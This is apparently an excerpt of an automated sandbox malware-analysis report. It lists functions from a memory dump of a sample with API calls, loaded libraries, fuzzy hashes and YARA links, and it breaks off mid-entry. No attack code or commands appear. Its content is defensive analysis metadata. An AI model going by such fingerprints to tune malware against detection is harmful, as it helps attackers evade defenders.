Opcode Fuzzy Hash: e82bf018f903e4ea25f627aae3f92f4affe26e4f9d0fd19bd58a96316eee6a50
Instruction Fuzzy Hash: 50D05EB520033BCFDB489F7995B4269F7EAAB4CA1D3540075E469C2A07EBB0D848C714

Function 11025CD0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,?,110302C4), ref: 11025CD8

Strings

psapi.dll, xrefs: 11025CD1

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: psapi.dll
API String ID: 1029625771-80456845
Opcode ID: 84de3e9765d3447a8351f1b6b6d8569fbb25dc0ee6f9e080ef7528236ef5d75a
Instruction ID: d2f0b82a95d6fc878682dccaf19b7a180456f678ee46f3fe844c8dbdc6f5fb44
Opcode Fuzzy Hash: 84de3e9765d3447a8351f1b6b6d8569fbb25dc0ee6f9e080ef7528236ef5d75a
Instruction Fuzzy Hash: C9E001B1A11B248FC3B4CF3AA844642FAF0BB18A103118A3ED4AEC3A00E330A5448F80

Function 11014F80 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(nslsp.dll,00000000,1102EF80,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 11014F8E

Strings

nslsp.dll, xrefs: 11014F83

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: nslsp.dll
API String ID: 1029625771-3933918195
Opcode ID: 09252c17772e29db9c623e4f38910c48fc62fdaa09ce42d8982732414e450a92
Instruction ID: 60eb6736f29bf142f24d4cfcc231741db50fe0cc1946b431100be770a733e412
Opcode Fuzzy Hash: 09252c17772e29db9c623e4f38910c48fc62fdaa09ce42d8982732414e450a92
Instruction Fuzzy Hash: E7C092B17152388FE3685F7CAC085D2FAE4EB48A91351986EE4B5D3308E6B09C40CFE4

Function 11074DC0 Relevance: 3.1, APIs: 2, Instructions: 80COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11074E1F
FreeLibrary.KERNEL32(00000000,?,?,?,?,00000000,11194245,?), ref: 11074E89

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: FreeLibrary_memset
String ID:
API String ID: 1654520187-0
Opcode ID: f6776980cd6796a903c6ab2b2bc3f730c5ac8cd4990655cc289426affdaed8f3
Instruction ID: 144a06a128bfe4de4bcaa8ee3b5ec3a734aa963de7831f9780c3e5d6e94517af
Opcode Fuzzy Hash: f6776980cd6796a903c6ab2b2bc3f730c5ac8cd4990655cc289426affdaed8f3
Instruction Fuzzy Hash: 6E218376D04228A7D710DA99EC41FEFFBACEB44325F4045AAE909D7200D7315A55CBE1

Function 1105FCF0 Relevance: 3.1, APIs: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

std::exception::exception.LIBCMT ref: 1105FD93
__CxxThrowException@8.LIBCMT ref: 1105FDA8

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID:
API String ID: 1338273076-0
Opcode ID: 008f8e93dd07e0136ec59ea579b5f73905d9fad81b76f295f420d5e427868693
Instruction ID: 65be3d9b06008521879bde957bfb15225efad016ffb254945ac63f30ffb56918
Opcode Fuzzy Hash: 008f8e93dd07e0136ec59ea579b5f73905d9fad81b76f295f420d5e427868693
Instruction Fuzzy Hash: F5117FBA900619ABC710CF99C940ADAF7F8FB48614F10862EE91997740E774B900CBE1

Function 1105EC90 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1105ECD6
_memmove.LIBCMT ref: 1105ECE1

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: _malloc_memmove
String ID:
API String ID: 1183979061-0
Opcode ID: 6759e9627eb897b24cf992b2bdc0114f61227cb54e7c028b4573e7a9add283cd
Instruction ID: db33143030e4a9298ca15ccbefe9b49d771c33472961b073c023ff9ae0ea679a
Opcode Fuzzy Hash: 6759e9627eb897b24cf992b2bdc0114f61227cb54e7c028b4573e7a9add283cd
Instruction Fuzzy Hash: 98F0F47AE002666F9741CF2C9844896FBDCDF8A158314C4A2E999CB301D671EC0687E0

Function 110883D0 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110883EF
InitializeCriticalSection.KERNEL32(0000E3D0,00000000,?,11070993,00000000,00000000,1118201E,000000FF), ref: 11088460

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection_memset
String ID:
API String ID: 453477542-0
Opcode ID: 26224d68f3b9d4a1246f00074b5df241b75f7fb3c3b45871788fd623fb5031c3
Instruction ID: 54b2584c526ac61f8aa3306390e259e673957fd90be6398fea32980b523eb801
Opcode Fuzzy Hash: 26224d68f3b9d4a1246f00074b5df241b75f7fb3c3b45871788fd623fb5031c3
Instruction Fuzzy Hash: EE1157B0911B148FC3A4CF7A88817C7FBE5BB58310F80892E96EEC2200DB716664CF94

Function 11144440 Relevance: 3.0, APIs: 2, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11144461
ExtractIconExA.SHELL32(?,00000000,001B0269,0005041D,00000001), ref: 11144498

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: ExtractFileIconModuleName
String ID:
API String ID: 3911389742-0
Opcode ID: 332011ad7d7a15df78cd41dd82658ea2b53a242fc2ea7d2347e2db9624e2eb71
Instruction ID: eab236796224ce85d4984e15688285b8376dcc0e4438f4162dfbb4c1a1faa056
Opcode Fuzzy Hash: 332011ad7d7a15df78cd41dd82658ea2b53a242fc2ea7d2347e2db9624e2eb71
Instruction Fuzzy Hash: 3EF0F0787581189FE708DFA0C892FF9B369F794709F444269E912C6184CE706A4C8B51

Function 11163DB7 Relevance: 3.0, APIs: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 111692EF: __getptd_noexit.LIBCMT ref: 111692EF

__lock_file.LIBCMT ref: 11163DFE

Part of subcall function 1116AF99: __lock.LIBCMT ref: 1116AFBE

__fclose_nolock.LIBCMT ref: 11163E09

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 7e8abcb520b3f17e3ade4ddc40c81544b3d820678823afdad6ab473755d4e59e
Instruction ID: 92e00479c768bfe57184568fb50af5c8f285ad3b4a4164507b2fffc520e9ca87
Opcode Fuzzy Hash: 7e8abcb520b3f17e3ade4ddc40c81544b3d820678823afdad6ab473755d4e59e
Instruction Fuzzy Hash: 5CF0F6348143079ED7119B79D80078EFBA86F0033CF518248C0289A0C0CBFA6521CE56

Function 11144EA0 Relevance: 2.6, APIs: 2, Instructions: 58sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11144DC0: ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,NSM.LIC), ref: 11144DE7

Part of subcall function 11163FED: __fsopen.LIBCMT ref: 11163FFA

GetLastError.KERNEL32(?,02B4B870,000000FF,?), ref: 11144ED5
Sleep.KERNEL32(000000C8,?,?,?,?,?,?,02B4B870,000000FF,?), ref: 11144EE5

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: EnvironmentErrorExpandLastSleepStrings__fsopen
String ID:
API String ID: 3768737497-0
Opcode ID: 31fc0bde93ac12b3b57265c96de8f634bcc1559677f471cf9725baf87a88f7fc
Instruction ID: cc8fd34c32098476147d622d57126809c91a32baa97f0e350d3592d26a0b2836
Opcode Fuzzy Hash: 31fc0bde93ac12b3b57265c96de8f634bcc1559677f471cf9725baf87a88f7fc
Instruction Fuzzy Hash: 8D110875D4411AEBD7119F94C9C4A6EF3BCEF85A29F200164FC0497A00E775AD11C7A3

Function 110106C0 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 11010774

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_
String ID:
API String ID: 3382485803-0
Opcode ID: b33c3b2a793c511d1b6f960a0ad5a8f3eee08100d5ee20f4381cce5b941f1766
Instruction ID: 0f97abe7109b731a14a0a5233c6982db04001c22e931a1e4a38e375530e3522e
Opcode Fuzzy Hash: b33c3b2a793c511d1b6f960a0ad5a8f3eee08100d5ee20f4381cce5b941f1766
Instruction Fuzzy Hash: D9515D74E00645DFDB04CF98C980AADBBF5BF88318F24829DD5869B385C776E942CB90

Function 11143000 Relevance: 1.6, APIs: 1, Instructions: 70registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110F4CB,75BF8400,?,?,1114515F,00000000,CSDVersion,00000000,00000000,?), ref: 11143020

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: c6c1c190ce3e4d21182f90f0e4bfd6bcd18f91cafc0a2026145ecac98104bfaa
Instruction ID: 1cdda14904265755d753c391d3c49599355d775305d59026304f2c7825c43cec
Opcode Fuzzy Hash: c6c1c190ce3e4d21182f90f0e4bfd6bcd18f91cafc0a2026145ecac98104bfaa
Instruction Fuzzy Hash: 5D1193716282655AEB218E14D690BAFFBAAEFC5B24F30836AE51547E04C3329886C750

Function 110FACC0 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000048,?,?), ref: 110FACED

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: e293ede8765d0badea50781af9c0a4ddb492315e77c2591cd008e5b0916e1792
Instruction ID: 5942e99df11cc5ddd12142181c934b3f7ef04b83757ceed83c361bf33f076152
Opcode Fuzzy Hash: e293ede8765d0badea50781af9c0a4ddb492315e77c2591cd008e5b0916e1792
Instruction Fuzzy Hash: 8911AC71E1011DDBDB11DFA8DC557EE73F8DB58305F0041D9E9099B240DA71AE488B90

Function 11170166 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,110310DF,00000000,?,11169DD4,?,110310DF,00000000,00000000,00000000,?,1116B767,00000001,00000214,?,1110F4AE), ref: 111701A9

Part of subcall function 111692EF: __getptd_noexit.LIBCMT ref: 111692EF

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 5fa111ebdd6cb86adb28227364e3270cd3b42bcfca1d5c7b723611f66f651fb7
Instruction ID: 37eba9f6ddbe8283f17829f7b0a109b8136aa2f13792341ea1fc2e0acbbf6d66
